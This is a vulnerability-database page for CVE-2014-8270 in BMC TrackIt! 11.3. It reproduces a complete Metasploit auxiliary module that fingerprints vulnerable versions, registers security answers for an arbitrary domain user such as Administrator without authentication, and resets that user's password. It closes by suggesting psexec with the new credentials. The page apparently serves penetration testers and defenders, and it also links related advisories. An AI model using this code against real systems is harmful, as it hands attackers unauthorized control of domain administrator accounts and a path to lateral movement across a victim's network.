Lucene search
K

BMC TrackIt! Unauthenticated Arbitrary User Password Change

🗓️ 13 Dec 2014 18:58:16Reported by bperry, jhartType 
metasploit
 metasploit
🔗 www.rapid7.com👁 39 Views

BMC TrackIt! Unauthenticated Arbitrary User Password Change. Exploits flaw in password reset mechanism in BMC TrackIt! 11.3 and earlier versions, allowing reset of domain credentials

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2014-8270
29 May 201815:50
circl
CVE
CVE-2014-8270
12 Dec 201411:00
cve
Cvelist
CVE-2014-8270
12 Dec 201411:00
cvelist
NVD
CVE-2014-8270
12 Dec 201411:59
nvd
Packet Storm
BMC TrackIt! Unauthenticated Arbitrary User Password Change
1 Sep 202400:00
packetstorm
Prion
Design/Logic Flaw
12 Dec 201411:59
prion
Positive Technologies
PT-2014-8443 · Bmc · Bmc Track-It!
9 Dec 201400:00
ptsecurity
Zero Day Initiative
BMC Track-It! Web Account Credential Information Disclosure Vulnerability
9 Dec 201400:00
zdi
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(
      info,
      'Name'           => 'BMC TrackIt! Unauthenticated Arbitrary User Password Change',
      'Description'    => %q(
      This module exploits a flaw in the password reset mechanism in BMC TrackIt! 11.3
      and possibly prior versions. If the password reset service is configured to use
      a domain administrator (which is the recommended configuration), then domain
      credentials can be reset (such as domain Administrator).
      ),
      'References'     =>
        [
          ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-14-419/'],
          ['CVE', '2014-8270']
        ],
      'Author'         =>
        [
          'bperry', # discovery/metasploit module,
          'jhart'
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => '2014-12-09'
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to BMC TrackIt!', '/']),
        OptString.new('LOCALUSER', [true, 'The user to change password for', 'Administrator']),
        OptString.new('LOCALPASS', [false, 'The password to set for the local user (blank for random)', '']),
        OptString.new('DOMAIN', [false, 'The domain of the user. By default the local user\'s computer name will be autodetected', ''])
      ])
  end

  def localuser
    datastore['LOCALUSER']
  end

  def password_reset
    begin
      uri = normalize_uri(target_uri.path, 'PasswordReset')
      send_request_cgi('uri' => uri)
    rescue => e
      vprint_error("#{peer}: unable to request #{uri}: #{e}")
      nil
    end
  end

  def check_host(ip)
    vprint_status("#{peer}: retrieving PasswordReset page to extract Track-It! version")

    unless (res = password_reset)
      return
    end

    if res.body =~ /<title>Track-It! Password Reset/i
      version = res.body.scan(/\bBuild=([\d\.]+)/).flatten.first
      if version
        fix_version = '11.4'
        if Rex::Version.new(version) < Rex::Version.new(fix_version)
          report_vuln(
            host: ip,
            port: rport,
            name: name,
            info: "Module #{fullname} detected Track-It! version #{version}",
            refs: references
          )
          vprint_status("#{peer}: Track-It! version #{version} is less than #{fix_version}")
          return Exploit::CheckCode::Vulnerable
        else
          vprint_status("#{peer}: Track-It! version #{version} is not less than #{fix_version}")
          return Exploit::CheckCode::Safe
        end
      else
        vprint_error("#{peer}: unable to get Track-It! version")
        return Exploit::CheckCode::Unknown
      end
    else
      vprint_status("#{peer}: does not appear to be running Track-It!")
      return Exploit::CheckCode::Safe
    end
  end

  def run_host(ip)
    return unless check_host(ip) == Exploit::CheckCode::Vulnerable

    if datastore['DOMAIN'].blank?
      vprint_status("#{peer}: retrieving session cookie and domain name")
    else
      vprint_status("#{peer}: retrieving domain name")
    end

    unless (res = password_reset)
      return
    end

    cookies = res.get_cookies
    if datastore['DOMAIN'].blank?
      if res.body =~ /"domainName":"([^"]*)"/
        domain = Regexp.last_match(1)
        vprint_status("#{peer}: found domain name: #{domain}")
      else
        print_error("#{peer}: unable to obtain domain name.  Try specifying DOMAIN")
        return
      end
    else
      domain = datastore['DOMAIN']
    end

    full_user = "#{domain}\\#{localuser}"
    vprint_status("#{peer}: registering #{full_user}")
    answers = [ Rex::Text.rand_text_alpha(8), Rex::Text.rand_text_alpha(8) ]
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'Register'),
      'method' => 'POST',
      'cookie' => cookies,
      'vars_post' => {
        'domainname' => domain,
        'userName' => localuser,
        'emailaddress' => Rex::Text.rand_text_alpha(8) + '@' + Rex::Text.rand_text_alpha(8) + '.com',
        'userQuestions' => %Q([{"Id":1,"Answer":"#{answers.first}"},{"Id":2,"Answer":"#{answers.last}"}]),
        'updatequesChk' => 'false',
        'SelectedQuestion' => 2,
        'answer' => answers.last,
        'confirmanswer' => answers.last
      }
    )

    if !res || res.body != "{\"success\":true,\"data\":{\"userUpdated\":true}}"
      print_error("#{peer}: Could not register #{full_user}")
      return
    end

    vprint_status("#{peer}: changing password for #{full_user}")

    if datastore['LOCALPASS'].blank?
      password = Rex::Text.rand_text_alpha(10) + "!1"
    else
      password = datastore['LOCALPASS']
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'ResetPassword'),
      'method' => 'POST',
      'cookie' => cookies,
      'vars_post' => {
        'newPassword' => password,
        'domain' => domain,
        'UserName' => localuser,
        'CkbResetpassword' => 'true'
      }
    )

    if !res || res.body != '{"success":true,"data":{"PasswordResetStatus":0}}'
      print_error("#{peer}: Could not change #{full_user}'s password -- is it a domain or local user?")
      return
    end

    report_vuln(
      host: ip,
      port: rport,
      name: name,
      info: "Module #{fullname} changed #{full_user}'s password to #{password}",
      refs: references
    )
    print_good("#{peer}: Please run the psexec module using #{full_user}:#{password}")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Feb 2022 23:22Current
0.7Low risk
Vulners AI Score0.7
CVSS 25
EPSS0.20084
39